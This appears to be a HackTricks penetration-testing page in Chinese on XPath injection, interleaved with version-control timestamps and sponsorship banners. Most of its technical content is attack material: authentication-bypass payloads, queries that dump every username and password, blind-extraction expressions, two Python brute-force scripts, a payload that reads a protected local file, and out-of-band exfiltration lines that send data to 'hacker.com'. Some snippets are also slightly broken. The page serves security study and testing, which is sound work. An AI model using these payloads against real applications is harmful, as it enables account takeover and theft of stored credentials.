2024-02-06 04:10:34 +00:00
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# XPATH注入
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2022-04-28 16:01:33 +00:00
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<details>
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2024-02-06 04:10:34 +00:00
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<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
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2022-04-28 16:01:33 +00:00
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2024-02-06 04:10:34 +00:00
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支持HackTricks的其他方式:
|
2022-04-28 16:01:33 +00:00
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2024-02-06 04:10:34 +00:00
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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2022-04-28 16:01:33 +00:00
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2023-12-31 04:43:12 +00:00
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</details>
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2022-04-28 16:01:33 +00:00
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2023-12-31 04:43:12 +00:00
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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2023-02-27 09:28:45 +00:00
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2024-02-06 04:10:34 +00:00
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加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
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2023-02-27 09:28:45 +00:00
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2024-02-06 04:10:34 +00:00
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**黑客见解**\
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参与深入探讨黑客的刺激和挑战的内容
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2023-02-27 09:28:45 +00:00
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2023-12-31 04:43:12 +00:00
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**实时黑客新闻**\
|
2024-02-06 04:10:34 +00:00
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通过实时新闻和见解及时了解快节奏的黑客世界
|
2023-07-14 15:03:41 +00:00
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2023-12-31 04:43:12 +00:00
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**最新公告**\
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2024-02-06 04:10:34 +00:00
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了解最新的赏金计划发布和重要平台更新
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2022-11-05 09:07:43 +00:00
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2024-02-06 04:10:34 +00:00
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**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
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2023-08-03 19:12:22 +00:00
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2024-02-06 04:10:34 +00:00
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## 基本语法
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2023-08-03 19:12:22 +00:00
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2024-02-06 04:10:34 +00:00
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一种称为XPath注入的攻击技术用于利用根据用户输入形成XPath(XML路径语言)查询的应用程序来查询或导航XML文档。
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2023-08-03 19:12:22 +00:00
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2024-02-06 04:10:34 +00:00
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### 描述的节点
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2023-08-03 19:12:22 +00:00
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2024-02-06 04:10:34 +00:00
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表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的摘要:
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- **nodename**:选择所有名称为“nodename”的节点。
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- **/**:从根节点进行选择。
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- **//**:选择与当前节点匹配的节点,无论其在文档中的位置如何。
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- **.**:选择当前节点。
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- **..**:选择当前节点的父节点。
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- **@**:选择属性。
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2023-12-31 04:43:12 +00:00
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2024-02-06 04:10:34 +00:00
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### XPath示例
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2023-08-03 19:12:22 +00:00
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路径表达式及其结果的示例包括:
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- **bookstore**:选择所有名称为“bookstore”的节点。
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- **/bookstore**:选择根元素bookstore。请注意,表示元素的绝对路径以斜杠(/)开头。
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- **bookstore/book**:选择bookstore的子元素book。
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- **//book**:选择文档中的所有book元素,无论其位置如何。
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- **bookstore//book**:选择bookstore元素下的所有后代book元素,无论其在bookstore元素下的位置如何。
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- **//@lang**:选择所有名为lang的属性。
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2023-08-03 19:12:22 +00:00
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2024-02-06 04:10:34 +00:00
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### 谓词的使用
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2023-08-03 19:12:22 +00:00
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谓词用于细化选择:
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- **/bookstore/book[1]**:选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。
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- **/bookstore/book[last()]**:选择bookstore元素的最后一个book元素子节点。
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- **/bookstore/book[last()-1]**:选择bookstore元素的倒数第二个book元素子节点。
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- **/bookstore/book[position()<3]**:选择bookstore元素的前两个book元素子节点。
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- **//title[@lang]**:选择具有lang属性的所有title元素。
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- **//title[@lang='en']**:选择具有值为“en”的“lang”属性的所有title元素。
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- **/bookstore/book[price>35.00]**:选择价格大于35.00的所有book元素。
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- **/bookstore/book[price>35.00]/title**:选择价格大于35.00的book元素的bookstore中的所有title元素。
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2022-11-05 09:07:43 +00:00
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### 未知节点的处理
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通配符用于匹配未知节点:
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- **\***:匹配任何元素节点。
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- **@***:匹配任何属性节点。
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- **node()**:匹配任何类型的任何节点。
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进一步的示例包括:
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2024-02-06 04:10:34 +00:00
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- **/bookstore/\***:选择bookstore元素的所有子元素节点。
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- **//\***:选择文档中的所有元素。
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- **//title[@\*]**:选择至少具有一种属性的所有title元素。
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```xml
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2020-07-15 15:43:14 +00:00
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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2023-08-03 19:12:22 +00:00
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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2020-07-15 15:43:14 +00:00
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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2020-07-15 15:43:14 +00:00
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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2020-07-15 15:43:14 +00:00
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</user>
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</data>
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```
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2023-08-03 19:12:22 +00:00
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### 访问信息
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2024-02-06 04:10:34 +00:00
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XPath注入是一种利用应用程序中XPath查询的漏洞来访问敏感数据的技术。攻击者可以通过构造恶意的XPath查询来绕过身份验证,检索数据,甚至修改查询结果。要利用XPath注入,攻击者需要了解应用程序如何构造XPath查询,并找到可以注入恶意代码的漏洞点。
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2022-12-03 17:35:56 +00:00
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```
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2020-07-15 15:43:14 +00:00
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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2024-02-06 04:10:34 +00:00
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### 识别和窃取模式
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- 使用错误的XPath查询来识别数据库架构
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- 通过逐步调整查询来窃取数据
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2021-06-06 18:35:32 +00:00
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```python
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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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2023-08-03 19:12:22 +00:00
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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2021-06-06 18:35:32 +00:00
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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```
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2023-08-03 19:12:22 +00:00
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## 身份验证绕过
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2021-06-06 18:35:32 +00:00
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2023-08-03 19:12:22 +00:00
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### **查询示例:**
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2022-12-03 17:35:56 +00:00
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```
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2020-07-15 15:43:14 +00:00
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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2024-02-06 04:10:34 +00:00
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### **在用户和密码中绕过OR(两者取相同值)**
|
2022-12-03 17:35:56 +00:00
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```
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2020-07-15 15:43:14 +00:00
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' or '1'='1
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2021-08-22 22:07:02 +00:00
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" or "1"="1
|
2020-07-15 15:43:14 +00:00
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' or ''='
|
2021-08-22 22:07:02 +00:00
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" or ""="
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2020-07-15 15:43:14 +00:00
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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2024-02-06 04:10:34 +00:00
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### **滥用空值注入**
|
2022-12-03 17:35:56 +00:00
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```
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2020-07-15 15:43:14 +00:00
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Username: ' or 1]%00
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```
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2024-02-06 04:10:34 +00:00
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### **用户名或密码中的双OR**(仅在一个易受攻击的字段中有效)
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2020-07-15 15:43:14 +00:00
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2024-02-06 04:10:34 +00:00
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重要提示:请注意**“and”是首先执行的操作**。
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2022-12-03 17:35:56 +00:00
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```
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2020-07-15 15:43:14 +00:00
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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|
|
|
|
admin' or '1'='2
|
|
|
|
|
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 字符串提取
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
输出包含字符串,用户可以操纵这些值进行搜索:
|
2022-12-03 17:35:56 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
/user/username[contains(., '+VALUE+')]
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-03 17:35:56 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
') or 1=1 or (' #Get all names
|
|
|
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
|
|
|
') or 2=1] | //user/node()[('')=(' #Get all values
|
|
|
|
|
')] | //./node()[('')=(' #Get all values
|
|
|
|
|
')] | //node()[('')=(' #Get all values
|
|
|
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
|
|
|
')] | //password%00 #All names and passwords (abusing null injection)
|
|
|
|
|
')]/../*[3][text()!=(' #All the passwords
|
|
|
|
|
')] | //user/*[1] | a[(' #The ID of all users
|
|
|
|
|
')] | //user/*[2] | a[(' #The name of all users
|
|
|
|
|
')] | //user/*[3] | a[(' #The password of all users
|
|
|
|
|
')] | //user/*[4] | a[(' #The account of all users
|
|
|
|
|
```
|
2023-12-31 04:43:12 +00:00
|
|
|
|
## 盲目利用
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
### **获取值的长度并通过比较提取它:**
|
2021-06-06 18:35:32 +00:00
|
|
|
|
```bash
|
2020-07-15 15:43:14 +00:00
|
|
|
|
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
|
|
|
|
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
|
|
|
|
|
|
|
|
|
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
2021-06-06 18:35:32 +00:00
|
|
|
|
|
|
|
|
|
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### **Python 示例**
|
2024-02-06 04:10:34 +00:00
|
|
|
|
|
|
|
|
|
```python
|
|
|
|
|
import requests
|
|
|
|
|
|
|
|
|
|
url = "http://example.com/login"
|
|
|
|
|
payload = "' or '1'='1'--"
|
|
|
|
|
|
|
|
|
|
response = requests.get(url, params={"username": payload, "password": "password"})
|
|
|
|
|
print(response.text)
|
|
|
|
|
```
|
2021-06-06 18:35:32 +00:00
|
|
|
|
```python
|
2023-08-03 19:12:22 +00:00
|
|
|
|
import requests, string
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
flag = ""
|
|
|
|
|
l = 0
|
2021-05-31 13:10:30 +00:00
|
|
|
|
alphabet = string.ascii_letters + string.digits + "{}_()"
|
2023-08-03 19:12:22 +00:00
|
|
|
|
for i in range(30):
|
|
|
|
|
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
|
|
|
|
|
if ("TRUE_COND" in r.text):
|
|
|
|
|
l = i
|
|
|
|
|
break
|
|
|
|
|
print("[+] Password length: " + str(l))
|
|
|
|
|
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
|
|
|
|
|
for al in alphabet:
|
|
|
|
|
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
|
|
|
|
|
if ("TRUE_COND" in r.text):
|
|
|
|
|
flag += al
|
|
|
|
|
print("[+] Flag: " + flag)
|
|
|
|
|
break
|
|
|
|
|
```
|
|
|
|
|
### 读取文件
|
2024-02-06 04:10:34 +00:00
|
|
|
|
|
|
|
|
|
1. **Payload**:
|
|
|
|
|
```plaintext
|
|
|
|
|
' or '1'='1
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
2. **Explanation**:
|
|
|
|
|
This payload will make the XPath query always return true, allowing the attacker to read the contents of the file.
|
|
|
|
|
|
|
|
|
|
3. **Example**:
|
|
|
|
|
- **URL**: `http://example.com/products?category=' or '1'='1`
|
|
|
|
|
- **XPath Query**: `//products[category='' or '1'='1']`
|
|
|
|
|
|
|
|
|
|
4. **Impact**:
|
|
|
|
|
The attacker can read sensitive information from files that are not intended to be publicly accessible.
|
2021-06-06 18:35:32 +00:00
|
|
|
|
```python
|
|
|
|
|
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
|
|
|
|
```
|
2024-02-06 04:10:34 +00:00
|
|
|
|
## OOB利用
|
2021-06-06 18:35:32 +00:00
|
|
|
|
```python
|
|
|
|
|
doc(concat("http://hacker.com/oob/", RESULTS))
|
|
|
|
|
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
|
|
|
|
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
|
|
|
|
|
|
|
|
|
|
#Instead of doc() you can use the function doc-available
|
|
|
|
|
doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|
|
|
|
#the doc available will respond true or false depending if the doc exists,
|
|
|
|
|
#user not(doc-available(...)) to invert the result if you need to
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 自动化工具
|
2021-06-06 18:35:32 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
* [xcat](https://xcat.readthedocs.io/)
|
|
|
|
|
* [xxxpwn](https://github.com/feakk/xxxpwn)
|
|
|
|
|
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
|
|
|
|
|
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
|
|
|
|
|
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
|
2021-06-06 18:35:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2024-02-06 04:10:34 +00:00
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
|
|
|
|
|
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
|
|
|
|
|
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
2022-11-05 09:07:43 +00:00
|
|
|
|
|
2023-12-31 04:43:12 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
**黑客见解**\
|
|
|
|
|
参与深入探讨黑客行为的刺激和挑战的内容
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-31 04:43:12 +00:00
|
|
|
|
**实时黑客新闻**\
|
2024-02-06 04:10:34 +00:00
|
|
|
|
通过实时新闻和见解了解快节奏的黑客世界
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-31 04:43:12 +00:00
|
|
|
|
**最新公告**\
|
2024-02-06 04:10:34 +00:00
|
|
|
|
了解最新发布的赏金任务和重要平台更新
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
2022-11-05 09:07:43 +00:00
|
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
<summary><strong>从零开始成为 AWS 黑客大师,学习</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
2023-12-31 04:43:12 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
支持 HackTricks 的其他方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
|
|
|
* 通过向 **HackTricks** 和 **HackTricks Cloud** 的 github 仓库提交 PR 来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|